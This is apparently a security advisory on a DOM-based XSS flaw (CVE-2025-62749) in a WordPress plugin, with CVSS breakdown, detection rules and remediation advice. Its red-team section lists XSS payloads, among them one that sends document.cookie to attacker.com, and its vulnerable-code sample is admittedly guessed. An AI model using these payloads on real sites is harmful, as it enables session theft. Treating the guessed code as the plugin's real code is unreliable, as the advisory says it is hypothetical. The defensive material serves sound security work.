CVE-2025-62749

Executive Summary

CVE-2025-62749 is a DOM-Based Cross-Site Scripting (XSS) vulnerability in the WordPress plugin "User Specific Content" by Bainternet, affecting versions up to and including 1.0.6. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject malicious scripts that execute in the victim's browser within the context of the WordPress site. This can lead to session hijacking, credential theft, or defacement. The plugin is part of the WordPress ecosystem, and the flaw is not related to the underlying web server (Apache/Nginx). No public exploit code or patch is currently available.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin from the repository are at risk. Since no patch exists, the supply chain risk is elevated—users must manually remove or disable the plugin until a fix is released.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.5 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must click a crafted link or visit a malicious page)
• Scope: Changed (impact may extend beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. Exploitation requires user interaction, but the attack surface is broad due to the plugin's widespread use.

Deep Dive & Mechanics

The vulnerability resides in the user-specific-content plugin's JavaScript handling of user-specific content. The plugin likely reads user input from the DOM (e.g., URL parameters, cookies, or stored data) and injects it into the page without proper sanitization. An attacker can craft a malicious URL or inject payloads via other DOM sources, leading to script execution.

Root Cause: The plugin uses innerHTML, document.write, or similar DOM manipulation methods with unsanitized input. For example, if the plugin reads a user parameter from the URL and writes it directly to the page, an attacker can inject <script>alert('XSS')</script>.

Attack Flow:

1. Attacker crafts a malicious link: https://victim-site.com/?user=<script>malicious.js</script>
2. Victim clicks the link while logged into WordPress.
3. The plugin's JavaScript reads the user parameter and writes it to the DOM.
4. The injected script executes, stealing session cookies or performing actions on behalf of the victim.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern. The vulnerable version likely contains code similar to:

// Vulnerable code (user-specific-content <= 1.0.6)
var user = getParameterByName('user');
document.getElementById('user-content').innerHTML = user;

A patched version would sanitize the input:

// Patched code (hypothetical)
var user = getParameterByName('user');
var safeUser = document.createTextNode(user);
document.getElementById('user-content').appendChild(safeUser);

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target WordPress site with User Specific Content plugin <= 1.0.6.
• Victim must be logged in and click a crafted link.

Exploit Steps:

1. Identify the vulnerable parameter (e.g., user, content, or id) by analyzing the plugin's JavaScript.
2. Craft a payload: <img src=x onerror=alert(document.cookie)>
3. Deliver the link: https://target-site.com/?user=<img src=x onerror=alert(document.cookie)>
4. When the victim clicks, the script executes.

Example Payload (cookie theft):

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor web logs for suspicious URL parameters containing <script>, <img onerror>, or encoded variants.
• Use WAF rules to block common XSS patterns in query strings.

Hardening:

• Disable or remove the plugin immediately.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Use WordPress security plugins that add input validation.

Indicators of Compromise (IOCs)

• URL Patterns: ?user=<script, ?user=<img, ?user=javascript:
• Network Traffic: Outbound requests to attacker-controlled domains from the victim's browser.
• Log Entries: HTTP requests with user parameter containing HTML/JavaScript tags.
• File Hashes: Plugin files (e.g., user-specific-content.php) with MD5 hash UNKNOWN (no known malicious versions).

Detection Engineering

YARA Rule

rule CVE_2025_62749_DOM_XSS {
    meta:
        description = "Detects potential DOM-based XSS in User Specific Content plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-62749"
    strings:
        $vuln_func = /\.innerHTML\s*=|\.outerHTML\s*=|document\.write\s*\(/
        $plugin_ref = /user-specific-content/i
    condition:
        $plugin_ref and $vuln_func
}

Sigma Rule

title: CVE-2025-62749 DOM-Based XSS in User Specific Content
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects suspicious URL parameters targeting the User Specific Content plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - '?user=<'
            - '?user=%3C'
            - '?user=javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in parameters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-62749 DOM-Based XSS Attempt"; flow:to_server,established; content:"?user="; http_uri; pcre:"/(<script|<img|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable or remove the "User Specific Content" plugin from all WordPress installations.
2. Monitor web server logs for exploitation attempts.
3. Implement a Web Application Firewall (WAF) rule to block XSS patterns in query strings.

Long-Term Fix:

• Wait for the vendor (Bainternet) to release a patched version. If no patch is forthcoming, consider replacing the plugin with an alternative that properly sanitizes DOM input.

Workaround:

• Add a Content Security Policy (CSP) header: Content-Security-Policy: script-src 'self'; to mitigate script execution.

Valters IT
Securing Digital Frontiers